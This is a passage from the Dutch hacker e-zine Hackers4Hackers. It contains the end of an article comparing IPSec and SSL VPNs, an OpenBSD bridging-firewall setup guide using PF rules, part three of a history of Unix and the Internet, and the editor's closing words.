mogelijkheid om
er voor te zorgen dat data niet
gewijzigd
of beschadigd wordt nadat het
verstuurd is)
3. Non-Repudiation (de mogelijkheid om te bewijzen dat zich een bepaalde
handeling heeft voorgedaan)
--]IPSec
Een van de mogelijke security protocollen dat een vpn netwerk kan gebruiken
is het IPSec protocol.
Dit is op het moment de standaard manier van veilige connecties.
IPSec staat voor Internet Protocol Security.
Het is een protocol dat zorgt voor veilige encrypted data overdracht tussen
systemen en zit op de network layer.
Dit zorgt ervoor dat al je netwerkverkeer encrypted is.
Zo zijn alle protocollen (die op de network layer zitten) encrypted als de
IPSec tunnel gecreëerd is.
Hieronder vallen dus: TCP, UDP, SNMP, HTTP, POP, AIM, KaZaa enzovoort...
Het opzetten van een IPSec verbinding gaat niet zomaar, er zijn echter wel
de nodige afspraken nodig.
Er zal eerst afgesproken moeten worden welke vorm van algoritme,
en welk type van authenticatie ze gaan gebruiken om te communiceren.
IPSec kan verschillende algoritmes bevatten. RSA, DES, RC5, SHA1, MD5 etc.
**De Nadelen van IPSec
Omdat IPSec zich op de network layer bevindt zitten er nogal wat nadelen aan.
Zo verschaft iedereen die zich op de IPSec tunnel bevind zichzelf toegang
tot het gehele netwerk (LAN).
Als bedrijf zijnde kun je twijfelen over deze kwestie, omdat je misschien niet
wilt dat partners of zogenaamde "remote werknemers"
deel uit maken van je gehele netwerk.
En wellicht is het niet de bedoeling van een systeembeheerder om AL het
verkeer op het netwerk te beveiligen,
maar slechts een bepaald deel hiervan.
De client software.
Een mogelijk ander nadeel is dat IPSec speciale client software vereist,
welke vaak de TCP/IP stack uitbreidt of vervangt.
Dit brengt weer andere gevaren / nadelen met zich mee.
Het komt de compatibiliteit tussen systemen vaak niet ten goede.
Als IPSec gebruikt wordt op de nodige hardware kom je dit probleem ook weer
tegen.
Zo heb je aan beide kanten van de IPSec tunnel vaak dezelfde hardware nodig.
Dit kan dus vrij nadelig zijn.
Het OS.
Er zijn nog maar weinig implementatie mogelijkheden van IPSec voor de Mac,
Linux, Solaris etc.
--]SSL
Het SSL protocol. SSL staat voor "Secure Sockets Layer".
Dit is (in tegenstelling tot IPSec) een application layer protocol.
SSL wordt het meest gebruikt voor beveiligde web-based communicaties over
het internet.
Het maakt net als IPSec gebruik van encryptie en authenticatie.
In tegenstelling tot IPSec beveiligt SSL alleen het verkeer tussen 2
applicaties.
Het encrypt dus niet het gehele netwerk, iets wat IPSec wel doet.
Elke applicatie moet dan dus wel beschikken over een SSL functie.
Veel applicaties hebben deze mogelijkheid dan ook. SMTP over SSL, ESMTP, IE,
Netscape etc.
SSL based VPN's gebruiken een SSL/proxy server die zich meestal achter de
firewall bevindt.
Een gebruiker die dan een beveiligde connectie op wil zetten hoeft alleen
een Url in te typen, deze brengt hem naar de proxy server.
De gebruiker wordt door de proxy server geïdentificeerd.
De SSL/proxy server maakt dan de link tussen de applicatie server en de
gebruiker.
--]IPSec VPN versus SSL VPN
90% van al het intranet en extranet verkeer is standaard Web en E-mail
based.
De overige 10% zijn andere protocollen als X11, chat protocollen etc.
Een VPN gebaseerd op IPSec zou hierbij dus duidelijk geen goede oplossing
zijn als je bovenstaande nadelen hebt gelezen.
SSL zou hier dan ook de beste oplossing zijn.
Maar welke technologie is nu het beste voor mij ??
IPSec : Kan het beste gebruikt worden voor de beveiliging van protocollen
die NIET SSL enabled zijn.
SSL : Kan het beste gebruikt worden voor al het standaard Web en E-mail
verkeer.
Ascii plaatje gebaseert op "Array Networks Inc (c)":
------------------------------------------------------------------------
| | SSL VPN | IPsec VPN |
------------------------------------------------------------------------
| | | |
|Authentication |*One way auth. tokens |*Two way auth. using tokens|
| |*Two way auth. tokens |*Digital certificates |
| |*Digital certificates | |
------------------------------------------------------------------------
|Encryption |*Strong Encryption |*Strong Encryption |
| |*Browser based |*Depends on implementation |
------------------------------------------------------------------------
|Overall Security |*End to End Security |*Egde to client |
| |*Client to Resource enc.|*Client to VPN gateway only|
------------------------------------------------------------------------
|Accessibility |*Anywhere anytime access|*Access limited to well- |
| | to broadly distributed | defined and controlled |
| | user base | user base |
------------------------------------------------------------------------
|Cost |*Low |*High |
| |*No additional client- |*Managed client software |
| | software needed | required |
------------------------------------------------------------------------
|Installation |*Plug and play |*Often long deployments |
| |*No additional client- |*Requires client-side soft |
| | side soft or hardware | or hardware |
------------------------------------------------------------------------
|Simplicity for user|*Very user friendly |*Challenging for non- |
| | uses web browsers | technical users |
| |*No end user training |*Requires training |
| | required | |
------------------------------------------------------------------------
|Apps Supported |*Web-enables Apps |*All IP-Based services |
| |*File sharing | |
| |*E-mail | |
------------------------------------------------------------------------
|Users |*Customers, Partners, |*More suited for internal |
| | remote users etc.. | company use |
------------------------------------------------------------------------
|Scalability |*Easily deployed and |*Scalable on server side |
| | scalable |*Difficult to scale clients|
------------------------------------------------------------------------
--]Bijlage
bron: www.security.nl
"Een onderzoek onder netwerk managers heeft uitgewezen dat IPSec VPNs
hun populariteit verliezen.
Steeds meer managers hebben namelijk interesse in SSL VPNs.
Het vereenvoudigen van virtual private networks door gebruik te maken
van SSL zal volgens het onderzoek een fundamentele verandering
te weeg brengen in het gebruik van VPNs binnen bedrijven.
Toch zal er ook in de toekomst plek blijven voor IPSec VPNs,
aangezien beide technieken naast elkaar kunnen bestaan."
--]The End
Shoutzz to Netric Team for the funny time on IRC ;pp
Door _Razor_
-------------------------------------------------------
08. OpenBSD Bridging Firewall
-------------------------------------------------------
OpenBSD Bridging Firewall
door: Laurens / laurens@netric.org
Netric Security Team
http://www.netric.org
Inhoud:
1) Introductie
2) Wat hebben we nodig
3) De OpenBSD installatie
4) Het configureren van OpenBSD
5) De bridge
6) Packet Filter
1) Introductie
In dit artikel ga ik uitleggen hoe je met behulp van OpenBSD (http://www.openbsd.org)
een "onzichtbare" firewall kunt maken. Ik maak gebruik van OpenBSD omdat deze OS alles
al standaard in zich heeft om gemakkelijk en snel een bridging firewall te maken, je
zou ook een andere OS kunnen gebruiken (bv: Free-/NetBSD of Linux). Omdat de firewall
geen IP address heeft is deze zeer moeilijk te hacken via het internet/lan. Een ander
groot voordeel van een bridging firewall is dat je aan de huidige netwerk configuratie
haast niets hoeft te wijzigen. De firewall hoeft alleen fysiek tussen het internet en
het netwerk geplaatst te worden, zoals je kunt zien in de illustratie hieronder:
[ INTERNET ]-[ ROUTER ]-[ FIREWALL ]-[ SWITCH/HUB ]-[ INTERNE NETWERK ]
2) Wat hebben we nodig
We hebben natuurlijk een PC nodig, deze moet 2 netwerkkaarten hebben. Ook zullen we een
monitor en keyboard nodig hebben, omdat de firewall geen IP address heeft zullen we hem
moeten configureren en beheren via de console. Zoals al eerder vermeld in dit artikel
gebruiken we als OS OpenBSD. Er moet minimaal OpenBSD 3.0 op komen te draaien omdat vanaf
versie 3.0, PF (http://www.benzedrine.cx/pf.html) de standaard firewall is.
3) De OpenBSD installatie
Ik ga er van uit dat je weet hoe je OpenBSD moet installeren. Als je dit niet weet lees
dan eerst even de volgende FAQ door: http://www.openbsd.org/faq/faq4.html. Ik raad je aan
om de volgende installation packages te selecteren tijdens de installatie:
base (OpenBSD basis [vereist])
etc (Alle configuratie files die in /etc staan [vereist])
comp (Compiler + tools)
man (De manual pages)
bsd (De kernel [vereist])
Meer als deze packages hebben we niet nodig voor de firewall. Tijdens de installatie hoef
je de netwerkkaarten niet te configureren.
4) Het configureren van OpenBSD
Omdat de firewall zelf geen internet connectie heeft is het ook niet nodig om network services
te draaien, deze kun je disablen in /etc/rc.conf:
sshd_flags=NO
sendmail_flags=NO
portmap=NO
inetd=NO
We enablen wel alvast PF in deze configuratie file:
pf=YES
Om ervoor te zorgen dat onze firewall straks het verkeer kan doorlaten zullen we IP forwarding
moeten enablen in /etc/sysctl.conf.
net.inet.ip.forwarding=1
Dit is alleen voor IPv4 dus als je ook gebruik maakt van IPv6 zul je dit in /etc/sysctl.conf
moeten enablen.
net.inet6.ip6.forwarding=1
We gaan nu de netwerkkaarten enablen. Ik gebruik intel netwerkkaarten, de device driver
daarvoor heet fxp. Als je dus geen intel kaarten hebt moet je dus fxp vervangen door de goede
device naam. Met behulp van ifconfig kun je kijken wat voor kaarten jij hebt. Voer de volgende
commando's uit op de shell:
rm -f /etc/mygate
touch /etc/mygate
rm -f /etc/hostname.*
echo up > /etc/hostname.fxp0
echo up > /etc/hostname.fxp1
Om te verkomen dat de disken straks vol raken met maintenance emailtjes die OpenBSD iedere dag,
week en maand verstuurt moet je in de crontab van user root de laatste 3 regels weg halen.
crontab -u root -e
# do daily/weekly/monthly maintenance
...
...
...
5) De bridge
Een bridge is eigenlijk niets anders dan een link tussen 2 of meer netwerkkaarten, die
elkaars verkeer doorsturen, zoals je kunt zien in de illustratie hieronder:
[INTERNET]-[ fxp0 ]<->[ fxp1 ]-[ INTERNE NETWERK ]
We gaan nu de bridge enablen, voer het volgende commando uit op de shell:
echo 'add fxp0 add fxp1 up' > /etc/bridgename.bridge0
Reboot nu de pc om alle aanpassingen te activeren. Voer na de reboot het volgende commando uit
op de shell:
ifconfig -a | grep bridge0
De output daarvan moet ongeveer dezelfde zijn als deze:
bridge0: flags=41 <UP,RUNNING> mtu 1500
6) Packet Filter
Ik zal nu een kleine introductie geven van de OpenBSD Packet Filter. Het configuratie bestand van
PF is /etc/pf.conf. PF kun je beheren via pfctl, ik zal een aantal voorbeelden geven:
Disablen van PF:
pfctl -d
Enablen van PF:
pfctl -e
Het laden van /etc/pf.conf:
pfctl -f /etc/pf.conf
Het flushen van alle rules:
pfctl -F all
Een betere uitleg van pfctl kun je vinden in de man page van dit tooltje. Ik zal nu de syntax van PF
even in het kort behandelen.
Om een packet te blocken kun je gebruik maken van het "block" statement, als je bijvoorbeeld al het
inkomend verkeer zou willen blocken zou je het volgende kunnen doen:
block in on fxp0 all
Wil je juist een packet doorlaten kun je gebruik maken van het "pass" statement. Dus om al het
inkomend verkeer door te laten zou je het volgende kunnen doen:
pass in on fxp0 all
Je kan ook blocken/passen op losse IP's of ranges:
block in from 192.168.1.1 to any
pass in from 192.168.1.1 to any
block in from 192.168.0.0/16 to any
pass in from 192.168.0.0/16 to any
Ook is het mogelijk om per protocol te filteren:
block in proto tcp from any to 192.168.1.1
block in proto udp from any to 192.168.1.1
Per poort blocken is ook mogelijk:
block in proto tcp from any to 192.168.1.1 port = 53
block in proto tcp from any to 192.168.1.1 port = 53
PF zal altijd alle rules doorlopen of een packet nog ergens anders geblocked of gepassed word.
Alleen als je het "quick" keyword gebruikt in je rule zal PF het meteen uitvoeren en de andere
rules daarna niet meer doorlopen.
block in quick from 192.168.1.1 to any
Voor een uitgebreide howto over PF verwijs ik je door naar http://www.inebriated.demon.nl/pf-howto/
omdat ik niet alles kan gaan behandelen in dit kleine artikel :-)
Amen...
-------------------------------------------------------
09. De geboorte van een netwerk: Internet (deel 3)
-------------------------------------------------------
De geboorte van een netwerk:Internet (deel 3)
Unix begint te rijpen
Tussen 1974 en 1980 werd de broncode van Unix onder verschillende universiteiten over de
hele Verenigde Staten verspreid. Dit was de belangrijkste reden voor het succes van Unix.
De onderzoekscentra en academische instellingen waren onmiddellijk onder de indruk van
Unix. Het werd dan ook voor tal van opleidingen gebruikt. Dit had een rechtstreekse
invloed op de commercie. Editor voor O'Reilly & Associates en Unix-goeroe Mike Loukides,
verklaarde dat als volgt:
De opleidingen leverden tal van competente computergebruikers (en systeemprogrammeurs)
af die al overweg konden met Unix. Daardoor kon men een klaargestoomd programmeerteam
"kopen". Men hoefde ze niet eerst in te wijden in de geheimen van een of ander onbekend
besturingssysteem.
Een andere reden voor het succes was dat de programmacode voor universiteiten vrij beschikbaar
was. Unix kon daardoor verder worden ontwikkeld door studenten. Door deze openheid kon Unix
al snel op andere computers worden overgedragen, waardoor het aantal Unix-gebruikers alleen
maar toenam.
Unix werd steeds populairder, zodat AT&T in 1978 besloot om het besturingssysteem te
commercialiseren en om licentiebijdragen te vragen (ze hadden tenslotte een topproduct ontworpen).
Dit veroorzaakte een belangrijke verschuiving in de computergemeenschap. Het resultaat
was dat de universiteit van Californië in Berkeley een soort creatieve onafhankelijk wilde
garanderen en daarom haar eigen versie van Unix ontwikkelde. De verspreiding van deze versie had
een enorme invloed en vormde de basis van veel moderne commerciële varianten van Unix.
Unix werd dus om verschillende redenen gekozen:
* Unix was steeds meer een standaard aan het worden
* Unix was een open systeem
* de programmacode van Unix was toegankelijk voor onderzoek
* Unix bood krachtige netwerkfunctionaliteit
Het moderne Internet
We bevinden ons in 1990. In die tijd werd Internet bijna uitsluitend gebruikt door militair
of academisch personeel. Als er al gelegenheidsgebruikers waren, dan waren dat er zeker niet
meer dan enkele honderdduizenden. Het netwerk werd beheerd door de National Science Foundation,
een organisatie die gebruikers van het netwerk strikte beperkingen oplegde. Het was gewoonweg
verboden Internet voor commerciële doeleinden te gebruiken.
De NSF bekleedde een unieke positie. Hoewel Internet niet gebruiksvriendelijk was
(je kon alleen maar toegang krijgen tot Internet door opdrachten in te voeren achter een prompt),
werd het netwerk steeds populairder. Intussen waren er al meer dan 300.000 hosts. Enkele
maanden later werd de eerste Internet-server voor het grote publiek ingericht. Onderzoekers
werden dan ook met het onvermijdelijke geconfronteerd. Het was slechts een kwestie van tijd voordat
de mensheid het strand van cyberspace zou bestormen.
Tijdens het hoogtepunt van de discussies over de kosten (er is heel wat geld nodig om de backbone
van Internet te beheren), trok de NSF zich in 1991 plotseling terug. Daardoor kregen commerciële
organisaties de kans greep te krijgen op de bandbreedte van het netwerk.
Voor het grote publiek veranderde er echter niets. Men moest nog altijd opdrachten invoeren achter
een prompt als men toegang wilde tot Internet; de gemiddelde gebruiker liet zich daardoor afschrikken.
Juist toen gebeurde er iets wat niet alleen de geschiedenis van Internet, maar ook de hele wereld
voorgoed zou veranderen: de universiteit van Minnesota introduceerde nieuwe software, Gopher.
Gopher was het eerste navigatieprogramma voor Internet dat in GUI-omgevingen kon worden gebruikt.
Kort daarna verscheen de eerste browser voor het World Wide Web.
In 1995 trok de NSF zich terug als controle-instantie voor Internet. Internet werd vrijwel
onmiddelijk volledig gecommercialiseerd, aangezien bedrijven van overal in de Verenigde
Staten zich haastten om verbinding te maken met de backbone. Deze bedrijven werden op de voet
gevolgd door de Amerikaanse bevoking, die nu over browsers beschikte als NCSA Mosaic, Netscape
Navigator en Microsoft Internet Explorer. Internet was plotseling breikbaar voor iedereen die
over een computer beschikte met een venstersysteem en een muis.
Op dit ogenblik telt Internet ongeveer dertig miljoen hosts en ongeveer honderd miljoen gebruikers.
Deze aantallen blijven groeien.
Rath
-------------------------------------------------------
10. Nawoord
-------------------------------------------------------
Dit was de H4H voor deze keer alweer. Natuurlijk hoopt de redactie dat je weer
plezier hebt gehad met het lezen ervan en dingen hebt opgestoken. Vragen over de
artikelen kunnen altijd aan de redactie gesteld worden. Gebruik echter eerst
Google alvorens wat te vragen zodat dit de nodige irritatie voorkomt.
Opmerkingen en suggesties zijn altijd welkom, alsmede nieuwe artikelen
natuurlijk. Mocht je wat willen schrijven en weet je niet wat? Kijk dan eens de
oude H4H's door, misschien is er nog een vervolg te schrijven op oudere
artikelen.
Hierbij wil ik alle schrijvers in deze H4H bedanken voor hun bijdrage welke deze
H4H weer mogelijk heeft gemaakt. Verder wil ik de proeflezers Anna en Scorpster
bedanken voor het eruithalen van de nodige foutjes.
Thijs "N|ghtHawk" Bosschert
Hoofd-redacteur Hackers4Hackers
redactie@hackers4hackers.org
nighthawk@hackers4hackers.org
